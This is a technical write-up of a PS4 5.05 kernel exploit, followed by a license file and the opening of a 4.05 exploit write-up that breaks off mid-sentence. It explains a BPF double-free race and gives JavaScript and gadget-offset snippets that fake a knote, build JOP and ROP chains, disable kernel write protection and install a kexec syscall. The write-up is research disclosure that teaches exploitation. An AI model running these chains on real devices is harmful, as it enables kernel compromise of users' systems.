other systems using the Berkeley Packet Filter VM if the attacker has sufficient permissions, so it's been published under the "FreeBSD" folder.** 2 | 3 | **If you found any mistakes or have suggestions to improve clarity on some points, either open an issue on this repo or reply them to [this tweet](https://twitter.com/SpecterDev/status/1017866658407280640). Thanks :)** 4 | # Introduction 5 | Welcome to the 5.0x kernel exploit write-up. A few months ago, a kernel vulnerability was discovered by [qwertyoruiopz](https://twitter.com/qwertyoruiopz/) and an exploit was released for BPF which involved crafting an out-of-bounds (OOB) write via use-after-free (UAF) due to the lack of proper locking. It was a fun bug, and a very trivial exploit. Sony then removed the write functionality from BPF, so that exploit was patched. However, the core issue still remained (being the lack of locking). A very similar race condition still exists in BPF past 4.55, which we will go into detail below on. The full source of the exploit can be found [here](https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/kernel.js). 6 | 7 |

8 | 9 |

10 | 11 | This bug is no longer accessible however past 5.05 firmware, because the BPF driver has finally been blocked from unprivileged processes - WebKit can no longer open it. 12 | 13 | Sony also introduced a new security mitigation in 5.0x firmwares to prevent the stack pointer from pointing into user space, however we'll go more in detail on this a bit further down. 14 | 15 | ### Assumptions 16 | Some assumptions are made of the reader's knowledge for the writeup. The avid reader should have a basic understanding of how memory allocators work - more specifically, how malloc() and free() allocate and deallocate memory respectively. They should also be aware that devices can be issued commands **concurrently**, as in, one command could be received while another one is being processed via threading. An understanding of C, x86, and exploitation basics is also very helpful, though not necessarily required. 17 | 18 | # Background 19 | This section contains some helpful information to those newer to exploitation, or are unfamiliar with device drivers, or various exploit techniques such as heap spraying and race conditions. Feel free to skip to the "A Tale of Two Free()'s" section if you're already familiar with this material. 20 | 21 | ### What Are Drivers? 22 | There are a few ways that applications can directly communicate with the operating system. One of which is system calls, which there are over 600 of in the PS4 kernel, ~500 of which are FreeBSD - the rest are Sony-implemented. Another method is through something called "Device Drivers". Drivers are typically used to bridge the gap between software and hardware devices (usb drives, keyboard/mouse, webcams, etc) - though they can also be used just for software purposes. 23 | 24 | There are a few operations that a userland application can perform on a driver (if it has sufficient permissions) to interface with it after opening it. In some instances, one can read from it, write to it, or in some cases, issue more complex commands to it via the `ioctl()` system call. The handlers for these commands are implemented in **kernel** space - this is important, because any bugs that could be exploited in an ioctl handler can be used as a privilege escalation straight to ring0 - typically the most privileged state. 25 | 26 | Drivers are often the more weaker points of an operating system for attackers, because sometimes these drivers are written by developers who don't understand how the kernel works, or the drivers are older and thus not wise to newer attack methods. 27 | 28 | ### The BPF Device Driver 29 | If we take a look around inside of WebKit's sandbox, we'll find a `/dev` directory. While this may seem like the root device driver path, it's a lie. Many of the drivers that the PS4 has are not exposed to this directory, but rather only ones that are needed for WebKit's operation (for the most part). For some reason though, BPF (aka. the "Berkeley Packet Filter") device is not only exposed to WebKit's sandbox - it also has the privileges to open the device as R/W. This is very odd, because on most systems this driver is root-only (and for good reason). If you want to read more into this, refer to my previous write-up with 4.55FW. 30 | 31 | ### What Are Packet Filters? 32 | Below is an excerpt from the 4.55 bpfwrite writeup. 33 | 34 | Since the bug is directly in the filter system, it is important to know the basics of what packet filters are. Filters are essentially sets of pseudo-instructions that are parsed by `bpf_filter()` (which are ran when packets are received). While the pseudo-instruction set is fairly minimal, it allows you to do things like perform basic arithmetic operations and copy values around inside it's buffer. Breaking down the BPF VM in it's entirety is far beyond the scope of this write-up, just know that the code produced by it is ran in kernel mode - this is why read/write access to `/dev/bpf` should be privileged. 35 | 36 | You can reference the opcodes that the BPF VM takes [here](http://fxr.watson.org/fxr/source/net/bpf.h?v=FREEBSD90#L995). 37 | 38 | ### Race Conditions 39 | Race conditions occur when two processes/threads try to access a shared resource at the same time without mutual exclusion. The problem was ultimately solved by introducing concepts such as the "mutex" or "lock". The idea is when one thread/process tries to access a resource, it will first acquire a lock, access it, then unlock it once it's finished. If another thread/process tries to access it while the other has the lock, it will wait until the other thread is finished. This works fairly well - when it's used properly. 40 | 41 | Locking is hard to get right, especially when you try to implement fine-grained locking for performance. One single instruction or line of code outside the locking window could introduce a race condition. Not all race conditions are exploitable, but some are (such as this one) - and they can give an attacker very powerful bugs to work with. 42 | 43 | ### Heap Spraying 44 | The process of heap spraying is fairly simple - allocate a bunch of memory and fill it with controlled data in a loop and pray your allocation doesn't get stolen from underneath you. It's a very useful technique when exploiting something such as a use-after-free(), as you can use it to get controlled data into your target object's backing memory. 45 | 46 | By extension, it's useful to do this for a double free() as well, because once we have a stale reference, we can use a heap spray to control the data. Since the object will be marked "free" - the allocator will eventually provide us with control over this memory, even though something else is still using it. That is, unless, something else has already stolen the pointer from you and corrupts it - then you'll likely get a system crash, and that's no fun. This is one factor that adds to the variance of exploits, and typically, the smaller the object, the more likely this is to happen. 47 | 48 | # A Tale of Two Free()'s 49 | Via `ioctl()` command, a user can set a filter program on a given descriptor via commands such as `BIOSETWF`. There are other commands to set other filters, however the write filter is the only one interesting to us for this writeup. An important part of the previous exploit was the power to free() an older filter once a new one has been allocated, via `bpf_setf()`, which is called directly by `BIOSETWF`'s command handler. This allowed us to free() a filter while it was in use. This free() in itself is also a bug that can be exploited, and is leveraged in the newer exploit. Let's take a look at `bpf_setf()` again. 50 | 51 | [src](http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L1523) 52 | ```c 53 | static int bpf_setf(struct bpf_d *d, struct bpf_program *fp, u_long cmd) 54 | { 55 | struct bpf_insn *fcode, *old; 56 | 57 | // ... 58 | 59 | if (cmd == BIOCSETWF) { 60 | old = d->bd_wfilter; // <----- THIS ISN'T LOCKED :) 61 | wfilter = 1; 62 | } 63 | 64 | // ... 65 | if (fp->bf_insns == NULL) { 66 | // ... 67 | 68 | BPFD_LOCK(d); 69 | 70 | // ... 71 | 72 | BPFD_UNLOCK(d); 73 | 74 | if (old != NULL) 75 | free((caddr_t)old, M_BPF); 76 | 77 | return (0); 78 | } 79 | 80 | // ... 81 | } 82 | ``` 83 | 84 | We can see that there are variables on the stack to hold filter pointers, including one for the `old` filter which eventually gets free()'d. If the ioctl command is set to `BIOSETWF`, the pointer from `d->bd_wfilter` is copied to the `old` stack variable. 85 | 86 | Later on, we can see that they lock the BPF descriptor, and null the references to the filters. They lock the reference clearing, but what about the pointer of `d->bd_wfilter` being copied to the stack? As we've seen in previous exploits, multiple threads can run and use the same `bpf_d` object. If we were to race setting two filters in parallel, there's a chance that both threads will copy the same pointer to their kernel stacks, eventually resulting in a double free as both pointers will be processed. 87 | 88 | ![demonstration gif](https://i.imgur.com/2v2Hwqk.gif) 89 | 90 | # Poisoning the Allocator 91 | With a double free() primitive, we have the ability to achieve memory corruption on the kernel heap by poisoning the memory allocator. This essentially allows us to create a targetted use-after-free() (UAF) on an object allocated post-corruption. 92 | 93 | # Corrupting knotes 94 | ### Summary 95 | Similar to 1.76, the target object for this exploit that was used was the `knote` object. `kqueue` objects represent event queues for raising these events. `knote` lists are managed by the `kqueue` they are in. The `knote` object is used to represent a kernel event in memory, and are linked together by a singly linked list. Qwerty chose `knote` because of knote lists (called `knlist`), as it gives us some degree of control of the size. Let's take a look at the structure (macros have been ommited for brevity sake). 96 | 97 | [src](http://fxr.watson.org/fxr/source/sys/event.h?v=FREEBSD90#L196) 98 | ```c 99 | struct knote { 100 | SLIST_ENTRY(knote) kn_link; /* for kq */ 101 | SLIST_ENTRY(knote) kn_selnext; /* for struct selinfo */ 102 | 103 | struct knlist *kn_knlist; /* f_attach populated */ 104 | TAILQ_ENTRY(knote) kn_tqe; 105 | struct kqueue *kn_kq; /* which queue we are on */ 106 | struct kevent kn_kevent; 107 | int kn_status; /* protected by kq lock */ 108 | int kn_sfflags; /* saved filter flags */ 109 | intptr_t kn_sdata; /* saved data field */ 110 | 111 | union { 112 | struct file *p_fp; /* file data pointer */ 113 | struct proc *p_proc; /* proc pointer */ 114 | struct aiocblist *p_aio; /* AIO job pointer */ 115 | struct aioliojob *p_lio; /* LIO job pointer */ 116 | } kn_ptr; 117 | 118 | struct filterops *kn_fop; // <--- Of interest as an attacker, offset: 0x68 119 | void *kn_hook; 120 | int kn_hookid; 121 | }; 122 | ``` 123 | 124 | There's an interesting field there, `struct filterops *kn_fop` at offset 0x68. This is essentially a table of function pointers that is referenced when something happens with the event, such as an attach or detach. The `f_detach` function pointer will be dereferenced and called when the `kqueue` and by extension the `knote` is being destroyed. 125 | 126 | [src](http://fxr.watson.org/fxr/source/sys/event.h?v=FREEBSD90#L182) 127 | ```c 128 | struct filterops { 129 | int f_isfd; 130 | int (*f_attach)(struct knote *kn); 131 | void (*f_detach)(struct knote *kn); 132 | int (*f_event)(struct knote *kn, long hint); 133 | void (*f_touch)(struct knote *kn, struct kevent *kev, u_long type); 134 | }; 135 | ``` 136 | By corrupting the `f_detach` function pointer, hijacking of the instruction pointer and thus arbitrary code execution can be achieved when the object is destroyed via the destruction of the corrupted `kqueue`. 137 | 138 | ### Exploit Overview 139 | Our exploit strategy is targetting a UAF on the `knote` object to hijack the instruction pointer. Let's break down the steps/stages for successful exploitation. 140 | 141 | 1) Open BPF descriptors, setup one NOP filter and one filter for heap spraying 142 | 2) Setup the fake `knote` object in WebKit's heap for JOP. 143 | 3) Setup the kernel ROP chain 144 | 4) Start thread one 145 | 5) Start thread two 146 | 147 | Thread 1 will do the following actions: 148 | 1) Create a kqueue via `sys_kqueue()` 149 | 2) Set a filter on the device in an attempt to poison the allocator 150 | 3) Trigger a kevent 151 | 4) Perform a heap spray in an attempt to achieve memory corruption 152 | 5) Close the kqueue (attempt to achieve code execution) 153 | 154 | Thread 2 will simply continously attempt to set a write filter. 155 | 156 | # A poor mans SMAP 157 | At some point in 5.0x, it seems Sony added some mitigation into the scheduler to check the stack pointer against userland addresses when running in kernel context, similar to the increasingly common "Supervisor Mode Access Prevention" (SMAP) mitigation found on modern systems. This turned an otherwise fairly trivial exploit into some complex kernel memory manipulation to run a kernel ROP (kROP) chain. To my knowledge this hasn't been investigated very much, but attempting a simple stack pivot like we've done in previous exploits into userland memory will crash the kernel. 158 | 159 | To avoid this, we need to get our ROP chain into kernel memory. To do this, qwerty decided to go with the method he used on the iPhone 7 - essentially using JOP to push a bunch of stack frames onto the kernel stack, and `memcpy()`'ing the chain into `RSP`. 160 | 161 | You can find a detailed annotation of the exploit [here](https://github.com/kpwn/PS4-5.05-Kernel-Exploit/blob/9e97c398342ed6499a00fce0c081f7bf1efaaef1/kernel.js) to assist in understanding it, as it does get quite complex. 162 | # JOP Explained 163 | Software engineers have started getting wise to stack pivot techniques, and preventing the attacker from the ability to stack pivot into user-controlled memory is a pretty decent counter-measure, however, like everything, it is bypassable. JOP (jump oriented programming) is a way. You could use JOP to implement a full chain, or use it as a method of getting to ROP via getting your ROP chain into kernel memory. The latter is preferred, because implementing logic in JOP (while possible) can be a nightmare. 164 | 165 | ### ROP vs. JOP 166 | Return Oriented Programming (ROP) is essentially the process of creating a fake stack and pushing the address of gadgets to it, and pivotting RSP to it. Your chain of gadgets is then executed like a real callstack, and every time the `ret` instruction is hit, the next gadget in the chain is run. 167 | 168 | Jump Oriented Programming (JOP) works a bit differently. Instead of ending your gadgets with a `ret` instruction, you end your gadgets with a `jmp` instruction. As long as you control the destination (maybe there's a register you can influence the value of), you can chain it with other gadgets, without the need of using a fake stack. For instance, if you control the value of `rax`, your gadget can end with `jmp rax`. By setting the value of `rax` to the address of the next gadget, you can chain them. 169 | 170 | With JOP you generally have to get more creative, because you're even more limited on potential gadgets - this is why implementing full chains in JOP is not preferred. 171 | 172 | [src](https://marcoramilli.blogspot.com/2011/12/from-rop-to-jop.html) 173 | ![](https://2.bp.blogspot.com/-yUFFwdM6oO0/Tuiw4OjNixI/AAAAAAAAK3E/tSw-A5H-O9o/s1600/Screen+Shot+2011-12-14+at+3.20.51+PM.png) 174 | 175 | # Faking a knote 176 | Now that we've covered the basics of what the exploit is and the basics of JOP, we'll start through the process of exploiting the bug. The first thing we need to do is setup a fake `knote` object to spray the heap with. Luckily, faking this object is easy, there's no need to fake a bunch of members for stability, we only need to fake a few members along with `kn_fops`, our target object. The `ctxp` buffer is used to setup our fake `knote`. 177 | 178 | ```javascript 179 | var ctxp = p.malloc32(0x2000); // ctxp = knote 180 | p.write8(ctxp.add32(0), ctxp2); // 0x00 = kn_link - not important for kqueue per se, but for the JOP gadget 181 | p.write8(ctxp.add32(0x50), 0); // 0x50 = kn_status = 0 (clear flags so detach is called) 182 | p.write8(ctxp.add32(0x68), ctxp1); // 0x68 = kn_fops 183 | ``` 184 | 185 | Notice that we've set `kn_fops` to `ctxp1` - this is the buffer for the fake `kn_fops` function table. The only thing we need to fake in this table is `kn_fops->f_detach()`, because this is the only function that will be called on kqueue destruction. 186 | 187 | ```javascript 188 | var ctxp1 = p.malloc32(0x2000); // ctxp1 = knote->kn_fops 189 | p.write8(ctxp1.add32(0x10), offsetToWebKit(0x12A19CD)); // JOP gadget 190 | ``` 191 | 192 | As you can see, this is where we achieve arbitrary code execution, and we're directing RIP to `0x12A19CD` in WebKit. Here's an x86 snippet of the relevant code for `kqueue_close()` - where control of the instruction pointer is achieved. 193 | 194 | [src](http://fxr.watson.org/fxr/source/kern/kern_event.c?v=FREEBSD90#L1664) 195 | ``` 196 | ; Note: R14 = ctxp 197 | seg000:FFFFFFFF89D29861 test byte ptr [r14+50h], 8 ; we set ctxp+0x50 to 0, so we're good 198 | seg000:FFFFFFFF89D29866 jnz short loc_FFFFFFFF89D29872 ; irrelevant 199 | seg000:FFFFFFFF89D29868 mov rax, [r14+68h] ; r14 + 0x68 = ctxp1 200 | seg000:FFFFFFFF89D2986C mov rdi, r14 ; r14 + 0x00 = ctxp2 = rdi 201 | seg000:FFFFFFFF89D2986F call qword ptr [rax+10h] ; JOP gadget 202 | ``` 203 | 204 | Also notice that we control the `rdi` register here via the `r14` register. Under normal circumstances, the knote object `kn` is loaded into `rdi` as it's the first argument to `kn->kn_fop->f_detach()` - however because we have corruption on the `knote` - we can not only control where we jump to, but also the arguments. This is important for JOP, because the next jump in the first JOP gadget requires us to have control of the RDI register. 205 | 206 | # Code Execution 207 | ### Creating space on the kstack 208 | To push some space on the stack, we can use a JOP chain. We'll use the variable `stackshift_from_retaddr` to track how much we've pushed on the stack. First we'll run a function prologue, which will subtract from RSP, creating space for us to put our ROP chain into. This function prologue is our first JOP gadget at `0x12A19CD`, which we setup previously in our fake `knote` that we sprayed. 209 | 210 | ``` 211 | seg000:00000000012A19CD sub rsp, 58h 212 | seg000:00000000012A19D1 mov [rbp-2Ch], edx 213 | seg000:00000000012A19D4 mov r13, rdi 214 | seg000:00000000012A19D7 mov r15, rsi 215 | seg000:00000000012A19DA mov rax, [r13+0] 216 | seg000:00000000012A19DE call qword ptr [rax+7D0h] // Implicitly subs 0x8 from rsp 217 | ``` 218 | 219 | At this point, we're 0x5C away from the original stack pointer. Now remember, for JOP to work, we need to be able to control where code jumps next, which means we have to control `rax`. Luckily, we can see `rax` is loaded from `r13+0`, and `r13` is set from `rdi`. As detailed above, we have corruption on `rdi` via the `knote` object. If we look at the previous section where the JOP gadget is called from the kernel, we set `rdi` to be `ctxp2`. The next gadget will be called at `ctxp2 + 0x7D0`, which we will set to `0x6EF4E5`. 220 | 221 | ```javascript 222 | p.write8(ctxp2.add32(0x7d0), offsetToWebKit(0x6EF4E5)); 223 | ``` 224 | ``` 225 | seg000:00000000006EF4E5 mov rdi, [rdi+10h] 226 | seg000:00000000006EF4E9 jmp qword ptr [rax] 227 | ``` 228 | 229 | This gadget will allow us to set `rdi` to a new value, and jump to `rax`, which is still equivalent to the address of `ctxp2`. Notice that this gadget allows us to loop, because we can write the first gadget to `ctxp2`, and set where the first gadget jumps to via `rdi + 0x10`. 230 | 231 | ```javascript 232 | var iterbase = ctxp2; 233 | 234 | for (var i = 0; i < 0xf; i++) { // loop 15 times 235 | p.write8(iterbase, offsetToWebKit(0x12A19CD)); // first JOP gadget 236 | stackshift_from_retaddr += 8 237 | p.write8(iterbase.add32(0x7d0 + 0x20), offsetToWebKit(0x6EF4E5)); // second JOP gadget 238 | p.write8(iterbase.add32(8), iterbase.add32(0x20)); 239 | p.write8(iterbase.add32(0x18), iterbase.add32(0x20 + 8)) 240 | iterbase = iterbase.add32(0x20); // setup next loop 241 | } 242 | ``` 243 | 244 | ### Preparing memcpy call 245 | #### Fundamentals 246 | Now that we've created space on the stack, we want to copy our kernel ROP chain into it to get executed. Let's take a look at memcpy()'s function signature: 247 | 248 | ```c 249 | void *memcpy(void *destination, const void *source, size_t num); 250 | ``` 251 | 252 | As defined in the x64 ABI (Application Binary Interface) - the following registers are used to pass arguments to functions: 253 | 254 | ``` 255 | rdi - first argument 256 | rsi - second argument 257 | rdx - third argument 258 | rcx - fourth argument 259 | r8 - fifth argument 260 | r9 - sixth argument 261 | [stack] - seven+ arguments 262 | ``` 263 | 264 | Therefore, the following registers are interesting to us for this memcpy call: 265 | 266 | ``` 267 | rdi (memory destination pointer) 268 | rsi (memory source pointer) 269 | rdx (size in bytes) 270 | ``` 271 | 272 | #### Setting Size 273 | The first thing we'll do is load RDX for the size. We can do this via another JOP gadget in WebKit at `0x15CA41B`. 274 | 275 | ``` 276 | seg000:00000000015CA41B mov rdx, [rdi+0B0h] 277 | seg000:00000000015CA422 call qword ptr [rdi+70h] 278 | ``` 279 | 280 | We can write relative to RDI via the `rdibase` variable. By adding our shift plus 0x28 (offset for where we're writing on the stack), we can load RDX with our chain length. 281 | 282 | #### Setting Source 283 | Next we'll load the source pointer in RSI. We want this to point to where we're writing our kernel ROP chain in userland. Similar to when we set the size, we'll again look for a JOP gadget that can set RSI from memory relative to RDI. WebKit at `0x1284834` does the trick. 284 | 285 | ``` 286 | seg000:0000000001284834 mov rsi, [rdi+8] 287 | seg000:0000000001284838 mov rdi, [rdi+18h] 288 | seg000:000000000128483C mov rax, [rdi] 289 | seg000:000000000128483F call qword ptr [rax+30h] 290 | ``` 291 | 292 | #### Setting Destination 293 | Finally, we need to setup RDI so that it points to all of our fake stack frames that we pushed on the kernel stack. This turns out to be at RBP (base pointer) - 0x28. We can use another JOP gadget at `0x272961`. 294 | 295 | ``` 296 | seg000:0000000000272961 lea rdi, [rbp-28h] 297 | seg000:0000000000272965 call qword ptr [rax+40h] 298 | ``` 299 | 300 | #### Calling Memcpy 301 | Now that the arguments are setup, we need to call `memcpy()`. Notice from our last JOP gadget, that the next place we jump to is setup based on `[rax + 0x40]`. This is where we want to write the address of `memcpy()` from userland. We'll skip the function prologue and optimizations to avoid side-effects produced from our previous JOP gadgets. 302 | 303 | ```javascript 304 | p.write8(raxbase.add32(0x40), memcpy.add32(0xC2 - 0x90)); // skip prolog covering side effecting branch and skipping optimizations 305 | var topofchain = stackshift_from_retaddr + 0x28; 306 | p.write8(rdibase.add32(0xB0), topofchain); 307 | ``` 308 | 309 | # Exploit Debugging (Kind Of) 310 | ### Summary 311 | It was suggested to me that I should include a section containing some details on complications that occured. We've already detailed one of them, being the SMAP-like implementation, however another was the lack of debugging. At this point in time, we didn't have a kernel debugging framework setup for working with the PS4. We did however have the ability to patch the kernel to enable UART and "verbose panic" information if we have an existing kernel exploit working. Of course though, once the system reboots, we no longer have access to UART nor verbose panic info even if we did. 312 | 313 | ### Fatal Traps 314 | Panic information that's printed to the klog/UART can be a very helpful tool for debugging exploits (which is probably why Sony has it disabled in the first place). Below is an example of a standard page fault panic from klog: 315 | 316 | ``` 317 | Fatal trap 12: page fault while in kernel mode 318 | cpuid = 0; apic id = 01 319 | fault virtual address = 0xffffde1704254000 320 | fault code = supervisor read instruction, protection violation 321 | instruction pointer = 0x20:0xffffde1704254000 322 | stack pointer = 0x28:0xffffff807119b220 323 | frame pointer = 0x28:0xffffff807119b2b0 324 | code segment = base 0x0, limit 0xfffff, type 0x1b 325 | = DPL 0, pres 1, long 1, def32 0, gran 1 326 | processor eflags = interrupt enabled, resume, IOPL = 0 327 | current process = 87 (infloopThr) 328 | ``` 329 | 330 | As you can see, some information here is extremely useful, especially the virtual address and the instruction pointer. 331 | 332 | ### Complications 333 | This information is fantastic when the system actually gives it to us. However, there are some cases where the system won't. Often this seems to be because the crash happens in a *critical section*, such as inside free() directly. For more information on critical sections, see [Critical Sections](https://en.wikipedia.org/wiki/Critical_section). 334 | 335 | Other times, the reason we don't get this information is unknown. If the panic information is unobtainable for us because we either don't have an existing exploit or the information just won't get printed to the klog, other tricks must be used, such as using infloop gadgets and other "hacky" exploit debugging techniques. 336 | 337 | # Patching the Kernel 338 | ### Disabling Write Protection 339 | Now that we have the ability to run kernel ROP chains due to our stack manipulation sorcery described in the last section, we can apply kernel patches after we disable kernel write protection via the `cr0` register. We can do this by just flipping the write-protection bit at bit 16. 340 | 341 | [src](https://en.wikipedia.org/wiki/Control_register#CR0) 342 | ![cr0 table](https://i.imgur.com/L2DwIrz.png) 343 | 344 | ```js 345 | krop.push(window.gadgets["pop rsi"]); 346 | krop.push(new int64(0xFFFEFFFF, 0xFFFFFFFF)); // Flip WP bit 347 | krop.push(window.gadgets["and rax, rsi"]); 348 | krop.push(window.gadgets["mov rdx, rax"]); 349 | ``` 350 | 351 | ### Installing a Syscall (Kexec) 352 | For brevity's sake, I won't cover all the patches in detail, however here's a brief recap of the patches made in the ROP chain. 353 | 354 | ``` 355 | sys_setuid syscall - remove permission check 356 | sys_mmap syscall - allow RWX mapping 357 | amd64_syscall - syscall instruction allowed anywhere 358 | sys_dynlib_dlsym syscall - allow dynamic resolving from anywhere 359 | ``` 360 | 361 | The main goal of the chain is to install our own system call called `kexec`. This will allow us to execute arbitrary code in kernel mode easily from any application, no matter the privileges. 362 | 363 | ```c 364 | sys_kexec(void *code, void *uap); 365 | ``` 366 | 367 | Code such as jailbreaking and HEN are ran via `kexec`. Installing it is fairly easy, we just have to add an entry into sysent. 368 | 369 | [src](http://fxr.watson.org/fxr/source/sys/sysent.h?v=FREEBSD90#L56) 370 | ```c 371 | struct sysent { /* system call table */ 372 | int sy_narg; /* number of arguments */ 373 | sy_call_t *sy_call; /* implementing function */ 374 | au_event_t sy_auevent; /* audit event associated with syscall */ 375 | systrace_args_func_t sy_systrace_args_func; 376 | /* optional argument conversion function. */ 377 | u_int32_t sy_entry; /* DTrace entry ID for systrace. */ 378 | u_int32_t sy_return; /* DTrace return ID for systrace. */ 379 | u_int32_t sy_flags; /* General flags for system calls. */ 380 | u_int32_t sy_thrcnt; 381 | }; 382 | ``` 383 | 384 | By setting `sy_call` to a `jmp qword ptr [rsi]` gadget (which can be found in the kernel at offset `0x13460`), `sy_narg` to `2`, and `sy_flags` to `SY_THR_STATIC` (`100000000`), we can successfully insert a custom system call that executes code in ring0. 385 | 386 | ``` 387 | seg000:FFFFFFFF8AC38820 dq 2 ; Syscall #11 388 | seg000:FFFFFFFF8AC38828 dq 0FFFFFFFF89BCF460h 389 | seg000:FFFFFFFF8AC38830 dq 0 390 | seg000:FFFFFFFF8AC38838 dq 0 391 | seg000:FFFFFFFF8AC38840 dq 0 392 | seg000:FFFFFFFF8AC38848 dq 100000000h 393 | ``` 394 | 395 | # Sony Patch 396 | Again, not a real patch, but a Sony patch - though this time more effective. Opening BPF has been blocked for unprivileged processes such as WebKit and other apps/games. It's still present in the sandbox, however attempting to open it will fail and yield EPERM. 397 | 398 | # Conclusion 399 | Another cool bug to exploit. It should have been a trivial exploit, however Sony's new mitigation that prevents exploit devs from pivotting RSP into userland memory while in kernel context is quite effective, and some tricks had to be used to get the chain into kernel memory - but as demonstrated, it is beatable. This exploit is also a good example of how double free()'s can be exploited fairly easily on FreeBSD if they're on an object of decent size. 400 | 401 | # Credits 402 | [qwertyoruiopz](https://twitter.com/qwertyoruiopz) 403 | 404 | [flatz](https://twitter.com/flat_z) 405 | 406 | # Additional Thanks 407 | [TheFloW](https://twitter.com/theflow0) - Suggestions and Feedback 408 | 409 | # References 410 | [qwertyoruiopz : Detailed Annotation](https://github.com/kpwn/PS4-5.05-Kernel-Exploit/blob/9e97c398342ed6499a00fce0c081f7bf1efaaef1/kernel.js) 411 | 412 | [qwertyoruiopz : Zero2Ring0 Slides](http://crack.bargains/02r0.pdf) 413 | 414 | [Watson FreeBSD Kernel Cross Reference](http://fxr.watson.org/fxr/source/?v=FREEBSD90) 415 | 416 | [Marco Ramilli : From ROP to JOP](https://marcoramilli.blogspot.com/2011/12/from-rop-to-jop.html) 417 | 418 | [Wikipedia : Control register (cr0)](https://en.wikipedia.org/wiki/Control_register#CR0) 419 | 420 | [Wikipedia : Critical section](https://en.wikipedia.org/wiki/Critical_section) 421 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 2 | Version 2, December 2004 3 | 4 | Copyright (C) 2004 Sam Hocevar 5 | 6 | Everyone is permitted to copy and distribute verbatim or modified 7 | copies of this license document, and changing it is allowed as long 8 | as the name is changed. 9 | 10 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 11 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 12 | 13 | 0. You just DO WHAT THE FUCK YOU WANT TO. 14 | -------------------------------------------------------------------------------- /PS4/"NamedObj" 4.05 Kernel Exploit Writeup.md: -------------------------------------------------------------------------------- 1 | ## Table of Contents 2 | - [Table of Contents](#table-of-contents) 3 | - [Introduction](#introduction) 4 | - [Changes since 1.76](#changes-since-176) 5 | - [Stage 1 - Information Disclosure](#stage-1---information-disclosure) 6 | * [Helpful information](#helpful-information) 7 | * [Vector sys_thr_get_ucontext](#vector-sys_thr_get_ucontext) 8 | * [Implementation](#implementation) 9 | + [Thread Creation](#thread-creation) 10 | + [Thread Suspension](#thread-suspension) 11 | + [Setup Function](#setup-function) 12 | + [Leak!](#leak) 13 | + [kASLR Defeat](#kaslr-defeat) 14 | + [Object Leak](#object-leak) 15 | + [Stack Pivot Fix](#stack-pivot-fix) 16 | + [Putting it all together](#putting-it-all-together) 17 | - [Stage 2 - Arbitrary Free](#stage-2---arbitrary-free) 18 | * [Vector 1 - sys_namedobj_create](#vector-1---sys_namedobj_create) 19 | * [Vector 2 - sys_mdbg_service](#vector-2---sys_mdbg_service) 20 | * [Vector 3 - sys_namedobj_delete](#vector-3---sys_namedobj_delete) 21 | * [Implementation](#implementation-1) 22 | + [Creating a named object](#creating-a-named-object) 23 | + [Writing a pointer to free](#writing-a-pointer-to-free) 24 | + [Free!](#free) 25 | - [Stage 3 - Heap Spray/Object Fake](#stage-3---heap-sprayobject-fake) 26 | * [Helpful information](#helpful-information-1) 27 | * [Corrupting the object](#corrupting-the-object) 28 | * [The cdev object](#the-cdev-object) 29 | + [si_name](#si_name) 30 | + [si_devsw](#si_devsw) 31 | * [The (rest of the cdev_priv) object](#the-rest-of-the-cdev_priv-object) 32 | * [The cdevsw object](#the-cdevsw-object) 33 | + [Target - d_ioctl](#target---d_ioctl) 34 | * [Spray](#spray) 35 | - [Stage 4 - Kernel Stack Pivot](#stage-4---kernel-stack-pivot) 36 | - [Stage 5 - Building the Kernel ROP Chain](#stage-5---building-the-kernel-rop-chain) 37 | * [Disabling Kernel Write Protection](#disabling-kernel-write-protection) 38 | * [Allowing RWX Memory Mapping](#allowing-rwx-memory-mapping) 39 | * [Syscall Anywhere](#syscall-anywhere) 40 | * [Allow sys_dynlib_dlsym from Anywhere](#allow-sys_dynlib_dlsym-from-anywhere) 41 | * [Install kexec system call](#install-kexec-system-call) 42 | * [Kernel Exploit Check](#kernel-exploit-check) 43 | * [Exit to Userland](#exit-to-userland) 44 | - [Stage 6 - Trigger](#stage-6---trigger) 45 | - [Stage 7 - Stabilizing the Object](#stage-7---stabilizing-the-object) 46 | - [Conclusion](#conclusion) 47 | * [Special Thanks](#special-thanks) 48 | 49 | ## Introduction 50 | 51 | **NOTE**: Let it be said that I do not condone nor endorse piracy. As such, neither the exploit or this write-up will contain anything to enable piracy on the system. 52 | 53 | Welcome to my PS4 kernel exploit write-up for 4.05. In this write-up I will provide a detailed explanation of how my public exploit implementation works, and I will break it down step by step. You can find the full source of the exploit [here](https://github.com/Cryptogenic/PS4-4.05-Kernel-Exploit). The userland exploit will not be covered in this write-up, however I have already provided a write-up on this userland exploit in the past, so if you wish to check that out, click [here](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/PS4/4.0x%20WebKit%20Exploit%20Writeup.md). Let's jump into it. 54 | 55 | ## Changes since 1.76 56 | Some notable things have changed since 1.76 firmware, most notably the change where Sony fixed the bug where we could allocate RWX memory from an unprivileged process. The process we hijack via the WebKit exploit no longer has RWX memory mapping permissions, as JiT is now properly handled by a seperate process. Calling sys_mmap() with the execute flag will succeed; however any attempt to actually execute this memory as code will result in an access violation. This means that our kernel exploit must be implemented entirely in ROP chains, no C payloads this time. 57 | 58 | Another notable change is kernel ASLR (kASLR) is now enabled past 1.76. 59 | 60 | Some newer system calls have also been implemented since 1.76. On 1.76, there were 85 custom system calls. On 4.05, we can see there are 120 custom system calls. 61 | 62 | Sony has also removed system call 0, so we can no longer call any system call we like by specifying the call number in the `rax` register. We will have to use wrappers from the libkernel.sprx module provided to us to access system calls. 63 | 64 | ## Stage 1 - Information Disclosure 65 | The first stage of the exploit is to obtain important information from the kernel, I take full advantage of this leak and use it to obtain three pieces of information. To do this, we need a kernel information disclosure/leak. This happens when kernel memory is copied out to the user, but the buffer (or at least parts of it) are not initialized, so uninitialized memory is copied to the user. This means if some function called before it stores pointers (or any data for that matter) in this memory, it will be leaked. Attackers can use this to their advantage, and use a setup function to leak specific memory to craft exploits. This is what we will do. 66 | 67 | ### Helpful information 68 | I thought I'd include this section to help those who don't know how FreeBSD address prefixes work. It's important to know how to distinguish userland and kernel pointers, and which kernel pointers are stack, heap, or .text pointers. 69 | 70 | FreeBSD uses a "limit" to define which pointers are userland and which are kernel. Userland can have 